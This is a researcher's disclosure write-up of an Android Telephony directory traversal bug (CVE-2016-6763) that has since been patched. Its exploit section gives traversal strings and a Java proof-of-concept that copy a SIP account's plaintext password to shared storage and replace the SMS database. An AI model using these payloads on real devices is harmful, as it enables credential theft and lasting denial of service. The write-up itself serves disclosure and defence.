Summary

This month Google has fixed a vulnerability we reported. According to the Android Security Bulletin, this is a denial of service vulnerability in Telephony that could enable a local malicious application to use a specially crafted file to cause a device hang or reboot. This issue is rated as High due to the possibility of local permanent denial of service.

CVE: CVE-2016-6763

BugID: A-31530456

Severity: High

Updated Google devices: All

Updated AOSP versions: 4.4.4, 5.0.2, 5.1.1, 6.0, 6.0.1, 7.0

Vulnerability Details

There is a directory traversal vulnerability in SipProfileDb.java. In deleteProfile, saveProfile and retrieveSipProfileFromName methods, the sip profile name without checking is simply concatenated with the sip profile directory. As the sip profile name is sometime controlled by outside and permitted to use some evil characters like ‘/‘ and ‘.’ , which gives an attacker a chance to write the sip profile directory and its serialized file to any location belongs to user radio.

vul

How to Exploit

The bug gives an attacker or tricked user with physical access to the phone the ability to make a new directory under data directories owned by radio, whose name is controlled, or to remove a directory with all of its files under data directories owned by radio. I tested the bug in a Nexus 6P device with Android 6.0.1 and didn’t find other automation exploiting method. I didn’t know if Google has found other exploiting methods by local malicious application in other Google devices or other Android versions, either. Thank Google, they still rated the issue High and gave me a credit which is my first one in Android Security Bulletin.

#1 Steal the SIP password

Suppose the phone already has a sip account: alice@CompromisedSite and the password is “12345”.
1. Open Call settings ->Calling accounts->Sip accounts, update existing sip account.
2. Modify the existed account “alice” to “alice/“ in the Username of the account and “CompromisedSite/../../../../../../../../sdcard/“ in Server field, leaving other fields unchanged including password, then press save.

The sip account configuration file including the original password will appear in sdcard directory. The orignal password “12345” which is a plain text can be simply found by cat the file.

1
2
shell@angler:/sdcard $ ls -a -l
-rw-rw---- root sdcard_rw 1843 2016-09-12 14:58 .pobj</pre>

#2 Disable SMS or Telephone function

1. Open Call settings ->Calling accounts->Sip accounts, press “+” to add a new sip account.
2. Fill “alice/“ in Username and “somesite/../../../../../../../../data/data/com.android.providers.telephony/“ in Server field. Just fill whatever you like in Password. Then Press Save.

  1. The account will never show in SIP accounts ListView because com.android.phone will check if the directory name of the configuration directory match the sip profile name in the serialized file.

4. Use the POC to trigger the SipEditor to show the original account again.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
public class MainActivity extends AppCompatActivity {

Button m_btn = null;

@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);

m_btn = (Button)findViewById(R.id.siptest);

m_btn.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
Intent i = new Intent();
i.setComponent(new ComponentName("com.android.phone",
"com.android.services.telephony.sip.SipPhoneAccountSettingsActivity"));

PhoneAccountHandle handle = new PhoneAccountHandle(new ComponentName("com.android.phone",
"com.android.services.telephony.sip.SipConnectionService"),
"alice/@somesite/../../../../../../../../data/data/com.android.providers.telephony/");
i.putExtra(TelecomManager.EXTRA_PHONE_ACCOUNT_HANDLE, handle);

startActivity(i);
}
});
}
}

5. Modify the Server field to “somesite/../../../../../../../../data/data/com.android.providers.telephony/databases/mmssms.db” and press SAVE which will remove any files under com.android.providers.telephony, then make a fake databases/mmssms.db under it.

vul1

At this time, the SMS function is disabled. The Nexus6P device cannot receive nor send any SMSs.

messenger

Logcat shows sqlite error cause we put a fake mmssms.db under com.android.providers.telephony/databases/ which prevents the real mmssms.db to recover. If we put fake telephony.db or other important files under /data/misc/radio/, It could cause other security impact on radio.

1
2
3
4
5
6
7
8
9
10
11
12
13
09-14 10:19:44.593  3862  4522 E SQLiteLog: (1032) statement aborts at 58: [UPDATE sms SET read=?,seen=? WHERE thread_id=1 AND date<=9223372036854775807 AND read=0]
09-14 10:19:44.593 3862 4522 E DatabaseUtils: Writing exception to parcel
09-14 10:19:44.593 3862 4522 E DatabaseUtils: android.database.sqlite.SQLiteReadOnlyDatabaseException: attempt to write a readonly database (code 1032)
09-14 10:19:44.593 3862 4522 E DatabaseUtils: at android.database.sqlite.SQLiteConnection.nativeExecuteForChangedRowCount(Native Method)
09-14 10:19:44.593 3862 4522 E DatabaseUtils: at android.database.sqlite.SQLiteConnection.executeForChangedRowCount(SQLiteConnection.java:732)
09-14 10:19:44.593 3862 4522 E DatabaseUtils: at android.database.sqlite.SQLiteSession.executeForChangedRowCount(SQLiteSession.java:754)
09-14 10:19:44.593 3862 4522 E DatabaseUtils: at android.database.sqlite.SQLiteStatement.executeUpdateDelete(SQLiteStatement.java:64)
09-14 10:19:44.593 3862 4522 E DatabaseUtils: at android.database.sqlite.SQLiteDatabase.updateWithOnConflict(SQLiteDatabase.java:1576)
09-14 10:19:44.593 3862 4522 E DatabaseUtils: at android.database.sqlite.SQLiteDatabase.update(SQLiteDatabase.java:1522)
09-14 10:19:44.593 3862 4522 E DatabaseUtils: at com.android.providers.telephony.SmsProvider.update(SmsProvider.java:744)
09-14 10:19:44.593 3862 4522 E DatabaseUtils: at android.content.ContentProvider$Transport.update(ContentProvider.java:355)
09-14 10:19:44.593 3862 4522 E DatabaseUtils: at android.content.ContentProviderNative.onTransact(ContentProviderNative.java:222)
09-14 10:19:44.593 3862 4522 E DatabaseUtils: at android.os.Binder.execTransact(Binder.java:453)

Only through a factory reset can the SMS function be recovered.

Timeline

2016–09-12: Android bug reported to Google
2016-10-04: Android bug confirmed and the severity is set to High
2016-12-05: Android security bulletin released with fix
2016-12-08: Public disclosure